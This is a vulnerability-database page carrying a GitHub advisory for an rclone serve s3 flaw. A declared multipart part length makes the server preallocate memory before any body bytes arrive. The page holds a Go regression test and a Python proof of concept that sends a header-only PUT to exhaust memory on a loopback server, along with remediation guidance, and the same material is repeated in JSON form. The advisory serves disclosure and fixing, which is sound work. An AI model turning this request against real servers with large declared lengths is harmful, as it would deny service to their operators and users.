GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-2P48-J3QC-RX9F

Vulnerability from github – Published: 2026-09-10 22:45 – Updated: 2026-09-10 22:45
VLAI
Summary
rclone: S3 multipart declared-length memory exhaustion
Details

Summary

In streamed multipart mode, serve s3 passes the request's declared part length to multipart.NewRW().Reserve(contentLength) before reading any part data. Reserve immediately obtains enough 1 MiB pool pages for the entire declared length. The request handler therefore allocates attacker-selected memory based only on Content-Length or X-Amz-Decoded-Content-Length; the client does not need to transmit the corresponding body.

--multipart-streaming-buffer-limit does not stop the allocation for the current expected part or for one oversized part when the buffer is empty. That exception is intentional to guarantee upload progress, and the flag's short help is scoped to out-of-order parts; this report therefore does not treat the option as a total memory cap. The security issue is the absence of a separate safe maximum or incremental allocation: a small request header can cause an arbitrarily large reservation and exhaust the process or host.

The default S3 configuration allows anonymous access when no auth_key is set, so an unauthenticated network client can reach the path in such deployments. Authenticated deployments require a valid S3 credential. Confirmed affected targets are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e, both of which include streamed multipart support.

Affected Assets & Attack Surface

  • cmd/serve/s3/s3.go:40-46 defines the streaming buffer limit and describes it as a limit for out-of-order parts.
  • cmd/serve/s3/server.go:67-101 permits anonymous requests when AuthKey is empty and configures S3 authentication otherwise.
  • cmd/serve/s3/multipart.go:183-209 admits the declared part size and calls Reserve(contentLength) before io.Copy reads the body.
  • cmd/serve/s3/multipart.go:220-238 always admits the current expected part and one oversized part when the buffer is empty, even when size > bufferLimit.
  • lib/multipart/multipart.go:23-24 creates an RW backed by the global memory pool.
  • lib/pool/reader_writer.go:64-76 rounds the declared length to pool pages and immediately calls GetN.
  • lib/pool/pool.go:18-23 sets the global pool page size to 1 MiB.
  • lib/pool/pool.go:223-260 allocates every requested page in GetN.
  • github.com/rclone/gofakes3@v0.0.7/gofakes3.go:952-1004 parses the request length without an upper bound, including the decoded-length header used for streaming signatures.
  • github.com/rclone/gofakes3@v0.0.7/gofakes3.go:1021-1023 passes the declared length and unread request body to rclone's streaming UploadPart implementation.
  • Network attack surface: S3 CreateMultipartUpload followed by UploadPart against a backend eligible for streamed multipart uploads.

Technical Root Cause Analysis

The admission counter and the allocator both use the attacker-controlled contentLength, while the admission rules allow the current part regardless of its size:

if up.bufferLimit <= 0 ||
    partNumber <= up.nextPart ||
    up.buffered == 0 ||
    up.buffered+size <= up.bufferLimit {
    up.buffered += size
    return nil
}

Part 1 of a new upload satisfies both partNumber <= up.nextPart and up.buffered == 0, regardless of size. UploadPart then executes:

rw := multipart.NewRW().Reserve(contentLength)

Reserve calculates the page count and calls pool.GetN. With the default global pool, GetN allocates a 1 MiB byte slice for every missing page. This occurs before io.Copy attempts to read the request body.

The HTTP layer does not independently cap a multipart part length. GoFakeS3 accepts Content-Length as an int64; signed streaming requests can replace it with X-Amz-Decoded-Content-Length. An attacker can send the headers and keep the body idle, retaining the reservation. Multiple uploads or connections multiply the effect.

The documented statement that memory is bounded by “parts in flight” is not an effective byte bound when one part can have an attacker-declared size and is fully preallocated. AWS's normal 5 GiB maximum part size would still be unsafe to reserve on most rclone hosts, and this dependency path does not enforce that maximum before allocation.

Setting the global --max-buffer-memory may change the symptom from allocation to waiting on the global semaphore. It is not a complete fix: the acquisition uses context.Background(), and a request larger than the semaphore capacity cannot ever acquire its requested weight, leaving a handler blocked until process termination.

Proof of Concept & Evidence

Bounded regression test

The following test proves both the limit bypass and immediate allocation without stressing the host. Add it as cmd/serve/s3/security_regression_test.go:

package s3

import (
    "testing"

    "github.com/rclone/rclone/lib/multipart"
    "github.com/rclone/rclone/lib/pool"
    "github.com/stretchr/testify/require"
)

func TestOversizedCurrentPartReservation(t *testing.T) {
    const (
        limit = int64(1 << 20)  // 1 MiB configured limit
        size  = int64(16 << 20) // 16 MiB attacker declaration
    )

    up := newMultipartUpload(
        "bucket", "object", "bucket/object", "bucket/object", nil, limit,
    )

    require.NoError(t, up.waitForTurn(1, size))
    require.Equal(t, size, up.buffered)

    before := pool.Global().InUse()
    rw := multipart.NewRW().Reserve(size)
    t.Cleanup(func() { require.NoError(t, rw.Close()) })
    after := pool.Global().InUse()

    require.GreaterOrEqual(t,
        after-before,
        int(size/int64(pool.BufferSize)),
    )
}

Run:

go test ./cmd/serve/s3 -run '^TestOversizedCurrentPartReservation$' -count=1 -v

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

=== RUN   TestOversizedCurrentPartReservation
--- PASS: TestOversizedCurrentPartReservation (0.00s)
PASS

The passing test means a 16 MiB current part is admitted against a 1 MiB limit and immediately consumes at least sixteen 1 MiB pool pages.

Loopback HTTP validation

Use a fresh process and a disposable root. The 64 MiB value below demonstrates the effect safely; do not substitute an out-of-memory value on a production host.

mkdir -p /tmp/rclone-s3-root/bucket

./rclone serve s3 /tmp/rclone-s3-root \
  --addr 127.0.0.1:8080 \
  --multipart-streaming-buffer-limit 1Mi

In another terminal:

python3 - <<'PY'
import http.client
import socket
import time
import xml.etree.ElementTree as ET
from urllib.parse import quote

host = "127.0.0.1"
port = 8080

# Anonymous mode is intentional here and matches a supported default setup.
c = http.client.HTTPConnection(host, port, timeout=5)
c.request("POST", "/bucket/object?uploads", body=b"", headers={"Content-Length": "0"})
r = c.getresponse()
body = r.read()
assert r.status == 200, (r.status, body)
upload_id = ET.fromstring(body).findtext("{*}UploadId")
assert upload_id
c.close()

declared = 64 * 1024 * 1024
path = "/bucket/object?partNumber=1&uploadId=" + quote(upload_id, safe="")

s = socket.create_connection((host, port), timeout=5)
s.sendall((
    f"PUT {path} HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    f"Content-Length: {declared}\r\n"
    "Connection: close\r\n"
    "\r\n"
).encode("ascii"))

# No body bytes are sent. Inspect the fresh rclone process while this waits:
# the handler has reserved 64 pool pages despite the 1 MiB reorder limit.
time.sleep(5)
s.close()
PY

Closing the socket allows the handler to return IncompleteBody and release the pages. Keeping multiple sockets open retains multiple reservations. A sufficiently large declared length can terminate the process before a response is returned.

The final automated validation performed this sequence through the real HTTP listener rather than calling waitForTurn or Reserve directly:

  • Started an anonymous serve s3 server on loopback with a local streaming-capable backend.
  • Set MultipartStreamingBufferLimit to 1 MiB.
  • Created a multipart upload with an HTTP POST and parsed its returned upload ID.
  • Recorded pool.Global().InUse() after upload creation.
  • Opened a raw TCP connection and sent an UploadPart request declaring Content-Length: 16777216.
  • Sent no request-body bytes.
  • Observed the in-use count increase by at least sixteen 1 MiB pages while the connection remained open.
  • Closed the connection, producing the expected short-body unexpected EOF log rather than completing an upload.

The central assertion was:

const declared = int64(16 << 20)
baseline := pool.Global().InUse()

connection, err := net.DialTimeout("tcp", server.Addr().String(), 5*time.Second)
require.NoError(t, err)
_, err = fmt.Fprintf(connection,
    "PUT %s HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n",
    partPath, server.Addr().String(), declared)
require.NoError(t, err)

wantPages := int(declared / int64(pool.BufferSize))
require.Eventually(t, func() bool {
    return pool.Global().InUse()-baseline >= wantPages
}, 5*time.Second, 10*time.Millisecond)

It passed on Windows/amd64 with Go 1.26.2:

=== RUN   TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody
NOTICE: serve s3: No auth provided so allowing anonymous access
ERROR : serve s3: unexpected EOF
--- PASS: TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody (0.06s)

This demonstrates network reachability, header-only amplification, admission beyond the configured 1 MiB reorder limit, and actual allocation. The test deliberately capped the reservation at 16 MiB; it did not attempt to exhaust the validation host. The same code path reserves pages linearly as the declared length increases.

Impact Assessment

A network client can force the S3 server to reserve memory proportional to an unverified request header before paying the bandwidth cost of sending the declared body. One large part can exceed the out-of-order buffering limit; concurrent uploads multiply memory consumption.

The directly observed primitive is memory reservation proportional to an unverified header before any body bytes arrive. At a sufficiently large declared length, or across concurrent requests, this can exhaust process or host memory, terminate the process, or permanently block request goroutines when the global memory semaphore cannot satisfy an oversized acquisition. Those outcomes cause loss of S3 service availability; no confidentiality or integrity impact is required.

Unauthenticated exploitation applies when the operator uses the documented anonymous S3 mode. With auth_key, the attacker must possess an accepted key. Binding to loopback or a trusted management network removes untrusted network reachability but does not correct the resource-accounting defect.

Remediation Guidance

Do not reserve the declared content length before reading verified bytes. Separate the current in-order part from out-of-order buffering:

  • For partNumber == nextPart, stream the request body directly into the upload pipe while computing MD5. This path does not need a full-part memory buffer merely to return the ETag after the body has streamed.
  • For out-of-order parts, allocate incrementally as body bytes arrive and charge each page against the per-upload budget before allocation. Apply backpressure, spool to a bounded temporary file, or reject the request when the budget is exhausted.
  • Remove Reserve(contentLength) from the untrusted HTTP path. If preallocation remains as an optimization, cap it to a small trusted amount and grow only after bytes are received and accounted.
  • Enforce an explicit maximum part size before allocation, including both Content-Length and X-Amz-Decoded-Content-Length. Match the intended S3 compatibility limit and return an S3-compatible error such as EntityTooLarge or InvalidRequest.
  • Reject negative, overflowing, or platform-int-unrepresentable page counts before arithmetic or conversion.
  • Apply a total server-wide budget across uploads in addition to the per-upload reorder budget. The budget acquisition must use the request context and must fail immediately when a single request exceeds capacity; do not wait forever on context.Background() for an impossible weight.
  • Limit concurrent multipart uploads and idle request-body time so a client cannot retain reservations indefinitely.
  • Reconcile the option documentation with the actual guarantee. If one part can exceed the reorder limit for compatibility, state that explicitly, but still enforce an independent safe maximum or incremental allocation.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.75.0"
            },
            {
              "fixed": "1.75.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.75.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T22:45:14Z",
    "nvd_published_at": "2026-09-10T17:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nIn streamed multipart mode, `serve s3` passes the request\u0027s declared part length to `multipart.NewRW().Reserve(contentLength)` before reading any part data. `Reserve` immediately obtains enough 1 MiB pool pages for the entire declared length. The request handler therefore allocates attacker-selected memory based only on `Content-Length` or `X-Amz-Decoded-Content-Length`; the client does not need to transmit the corresponding body.\n\n`--multipart-streaming-buffer-limit` does not stop the allocation for the current expected part or for one oversized part when the buffer is empty. That exception is intentional to guarantee upload progress, and the flag\u0027s short help is scoped to out-of-order parts; this report therefore does not treat the option as a total memory cap. The security issue is the absence of a separate safe maximum or incremental allocation: a small request header can cause an arbitrarily large reservation and exhaust the process or host.\n\nThe default S3 configuration allows anonymous access when no `auth_key` is set, so an unauthenticated network client can reach the path in such deployments. Authenticated deployments require a valid S3 credential. Confirmed affected targets are `v1.75.0` and development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`, both of which include streamed multipart support.\n\n## Affected Assets \u0026 Attack Surface\n\n- `cmd/serve/s3/s3.go:40-46` defines the streaming buffer limit and describes it as a limit for out-of-order parts.\n- `cmd/serve/s3/server.go:67-101` permits anonymous requests when `AuthKey` is empty and configures S3 authentication otherwise.\n- `cmd/serve/s3/multipart.go:183-209` admits the declared part size and calls `Reserve(contentLength)` before `io.Copy` reads the body.\n- `cmd/serve/s3/multipart.go:220-238` always admits the current expected part and one oversized part when the buffer is empty, even when `size \u003e bufferLimit`.\n- `lib/multipart/multipart.go:23-24` creates an RW backed by the global memory pool.\n- `lib/pool/reader_writer.go:64-76` rounds the declared length to pool pages and immediately calls `GetN`.\n- `lib/pool/pool.go:18-23` sets the global pool page size to 1 MiB.\n- `lib/pool/pool.go:223-260` allocates every requested page in `GetN`.\n- `github.com/rclone/gofakes3@v0.0.7/gofakes3.go:952-1004` parses the request length without an upper bound, including the decoded-length header used for streaming signatures.\n- `github.com/rclone/gofakes3@v0.0.7/gofakes3.go:1021-1023` passes the declared length and unread request body to rclone\u0027s streaming `UploadPart` implementation.\n- Network attack surface: S3 `CreateMultipartUpload` followed by `UploadPart` against a backend eligible for streamed multipart uploads.\n\n## Technical Root Cause Analysis\n\nThe admission counter and the allocator both use the attacker-controlled `contentLength`, while the admission rules allow the current part regardless of its size:\n\n```go\nif up.bufferLimit \u003c= 0 ||\n    partNumber \u003c= up.nextPart ||\n    up.buffered == 0 ||\n    up.buffered+size \u003c= up.bufferLimit {\n    up.buffered += size\n    return nil\n}\n```\n\nPart 1 of a new upload satisfies both `partNumber \u003c= up.nextPart` and `up.buffered == 0`, regardless of size. `UploadPart` then executes:\n\n```go\nrw := multipart.NewRW().Reserve(contentLength)\n```\n\n`Reserve` calculates the page count and calls `pool.GetN`. With the default global pool, `GetN` allocates a 1 MiB byte slice for every missing page. This occurs before `io.Copy` attempts to read the request body.\n\nThe HTTP layer does not independently cap a multipart part length. GoFakeS3 accepts `Content-Length` as an `int64`; signed streaming requests can replace it with `X-Amz-Decoded-Content-Length`. An attacker can send the headers and keep the body idle, retaining the reservation. Multiple uploads or connections multiply the effect.\n\nThe documented statement that memory is bounded by \u201cparts in flight\u201d is not an effective byte bound when one part can have an attacker-declared size and is fully preallocated. AWS\u0027s normal 5 GiB maximum part size would still be unsafe to reserve on most rclone hosts, and this dependency path does not enforce that maximum before allocation.\n\nSetting the global `--max-buffer-memory` may change the symptom from allocation to waiting on the global semaphore. It is not a complete fix: the acquisition uses `context.Background()`, and a request larger than the semaphore capacity cannot ever acquire its requested weight, leaving a handler blocked until process termination.\n\n## Proof of Concept \u0026 Evidence\n\n### Bounded regression test\n\nThe following test proves both the limit bypass and immediate allocation without stressing the host. Add it as `cmd/serve/s3/security_regression_test.go`:\n\n```go\npackage s3\n\nimport (\n    \"testing\"\n\n    \"github.com/rclone/rclone/lib/multipart\"\n    \"github.com/rclone/rclone/lib/pool\"\n    \"github.com/stretchr/testify/require\"\n)\n\nfunc TestOversizedCurrentPartReservation(t *testing.T) {\n    const (\n        limit = int64(1 \u003c\u003c 20)  // 1 MiB configured limit\n        size  = int64(16 \u003c\u003c 20) // 16 MiB attacker declaration\n    )\n\n    up := newMultipartUpload(\n        \"bucket\", \"object\", \"bucket/object\", \"bucket/object\", nil, limit,\n    )\n\n    require.NoError(t, up.waitForTurn(1, size))\n    require.Equal(t, size, up.buffered)\n\n    before := pool.Global().InUse()\n    rw := multipart.NewRW().Reserve(size)\n    t.Cleanup(func() { require.NoError(t, rw.Close()) })\n    after := pool.Global().InUse()\n\n    require.GreaterOrEqual(t,\n        after-before,\n        int(size/int64(pool.BufferSize)),\n    )\n}\n```\n\nRun:\n\n```sh\ngo test ./cmd/serve/s3 -run \u0027^TestOversizedCurrentPartReservation$\u0027 -count=1 -v\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n```text\n=== RUN   TestOversizedCurrentPartReservation\n--- PASS: TestOversizedCurrentPartReservation (0.00s)\nPASS\n```\n\nThe passing test means a 16 MiB current part is admitted against a 1 MiB limit and immediately consumes at least sixteen 1 MiB pool pages.\n\n### Loopback HTTP validation\n\nUse a fresh process and a disposable root. The 64 MiB value below demonstrates the effect safely; do not substitute an out-of-memory value on a production host.\n\n```sh\nmkdir -p /tmp/rclone-s3-root/bucket\n\n./rclone serve s3 /tmp/rclone-s3-root \\\n  --addr 127.0.0.1:8080 \\\n  --multipart-streaming-buffer-limit 1Mi\n```\n\nIn another terminal:\n\n```sh\npython3 - \u003c\u003c\u0027PY\u0027\nimport http.client\nimport socket\nimport time\nimport xml.etree.ElementTree as ET\nfrom urllib.parse import quote\n\nhost = \"127.0.0.1\"\nport = 8080\n\n# Anonymous mode is intentional here and matches a supported default setup.\nc = http.client.HTTPConnection(host, port, timeout=5)\nc.request(\"POST\", \"/bucket/object?uploads\", body=b\"\", headers={\"Content-Length\": \"0\"})\nr = c.getresponse()\nbody = r.read()\nassert r.status == 200, (r.status, body)\nupload_id = ET.fromstring(body).findtext(\"{*}UploadId\")\nassert upload_id\nc.close()\n\ndeclared = 64 * 1024 * 1024\npath = \"/bucket/object?partNumber=1\u0026uploadId=\" + quote(upload_id, safe=\"\")\n\ns = socket.create_connection((host, port), timeout=5)\ns.sendall((\n    f\"PUT {path} HTTP/1.1\\r\\n\"\n    f\"Host: {host}:{port}\\r\\n\"\n    f\"Content-Length: {declared}\\r\\n\"\n    \"Connection: close\\r\\n\"\n    \"\\r\\n\"\n).encode(\"ascii\"))\n\n# No body bytes are sent. Inspect the fresh rclone process while this waits:\n# the handler has reserved 64 pool pages despite the 1 MiB reorder limit.\ntime.sleep(5)\ns.close()\nPY\n```\n\nClosing the socket allows the handler to return `IncompleteBody` and release the pages. Keeping multiple sockets open retains multiple reservations. A sufficiently large declared length can terminate the process before a response is returned.\n\nThe final automated validation performed this sequence through the real HTTP listener rather than calling `waitForTurn` or `Reserve` directly:\n\n- Started an anonymous `serve s3` server on loopback with a local streaming-capable backend.\n- Set `MultipartStreamingBufferLimit` to 1 MiB.\n- Created a multipart upload with an HTTP `POST` and parsed its returned upload ID.\n- Recorded `pool.Global().InUse()` after upload creation.\n- Opened a raw TCP connection and sent an `UploadPart` request declaring `Content-Length: 16777216`.\n- Sent no request-body bytes.\n- Observed the in-use count increase by at least sixteen 1 MiB pages while the connection remained open.\n- Closed the connection, producing the expected short-body `unexpected EOF` log rather than completing an upload.\n\nThe central assertion was:\n\n```go\nconst declared = int64(16 \u003c\u003c 20)\nbaseline := pool.Global().InUse()\n\nconnection, err := net.DialTimeout(\"tcp\", server.Addr().String(), 5*time.Second)\nrequire.NoError(t, err)\n_, err = fmt.Fprintf(connection,\n    \"PUT %s HTTP/1.1\\r\\nHost: %s\\r\\nContent-Length: %d\\r\\nConnection: close\\r\\n\\r\\n\",\n    partPath, server.Addr().String(), declared)\nrequire.NoError(t, err)\n\nwantPages := int(declared / int64(pool.BufferSize))\nrequire.Eventually(t, func() bool {\n    return pool.Global().InUse()-baseline \u003e= wantPages\n}, 5*time.Second, 10*time.Millisecond)\n```\n\nIt passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody\nNOTICE: serve s3: No auth provided so allowing anonymous access\nERROR : serve s3: unexpected EOF\n--- PASS: TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody (0.06s)\n```\n\nThis demonstrates network reachability, header-only amplification, admission beyond the configured 1 MiB reorder limit, and actual allocation. The test deliberately capped the reservation at 16 MiB; it did not attempt to exhaust the validation host. The same code path reserves pages linearly as the declared length increases.\n\n## Impact Assessment\n\nA network client can force the S3 server to reserve memory proportional to an unverified request header before paying the bandwidth cost of sending the declared body. One large part can exceed the out-of-order buffering limit; concurrent uploads multiply memory consumption.\n\nThe directly observed primitive is memory reservation proportional to an unverified header before any body bytes arrive. At a sufficiently large declared length, or across concurrent requests, this can exhaust process or host memory, terminate the process, or permanently block request goroutines when the global memory semaphore cannot satisfy an oversized acquisition. Those outcomes cause loss of S3 service availability; no confidentiality or integrity impact is required.\n\nUnauthenticated exploitation applies when the operator uses the documented anonymous S3 mode. With `auth_key`, the attacker must possess an accepted key. Binding to loopback or a trusted management network removes untrusted network reachability but does not correct the resource-accounting defect.\n\n## Remediation Guidance\n\nDo not reserve the declared content length before reading verified bytes. Separate the current in-order part from out-of-order buffering:\n\n- For `partNumber == nextPart`, stream the request body directly into the upload pipe while computing MD5. This path does not need a full-part memory buffer merely to return the ETag after the body has streamed.\n- For out-of-order parts, allocate incrementally as body bytes arrive and charge each page against the per-upload budget before allocation. Apply backpressure, spool to a bounded temporary file, or reject the request when the budget is exhausted.\n- Remove `Reserve(contentLength)` from the untrusted HTTP path. If preallocation remains as an optimization, cap it to a small trusted amount and grow only after bytes are received and accounted.\n- Enforce an explicit maximum part size before allocation, including both `Content-Length` and `X-Amz-Decoded-Content-Length`. Match the intended S3 compatibility limit and return an S3-compatible error such as `EntityTooLarge` or `InvalidRequest`.\n- Reject negative, overflowing, or platform-`int`-unrepresentable page counts before arithmetic or conversion.\n- Apply a total server-wide budget across uploads in addition to the per-upload reorder budget. The budget acquisition must use the request context and must fail immediately when a single request exceeds capacity; do not wait forever on `context.Background()` for an impossible weight.\n- Limit concurrent multipart uploads and idle request-body time so a client cannot retain reservations indefinitely.\n- Reconcile the option documentation with the actual guarantee. If one part can exceed the reorder limit for compatibility, state that explicitly, but still enforce an independent safe maximum or incremental allocation.",
  "id": "GHSA-2p48-j3qc-rx9f",
  "modified": "2026-09-10T22:45:14Z",
  "published": "2026-09-10T22:45:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-2p48-j3qc-rx9f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88045"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/issues/9616"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/7c1dfd99f3e6a22fcefd8686cc478226a15e63a1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/ab1f458013aaf6356e4bdeca61f7cb9139f8eb86"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.75.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rclone: S3 multipart declared-length memory exhaustion"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…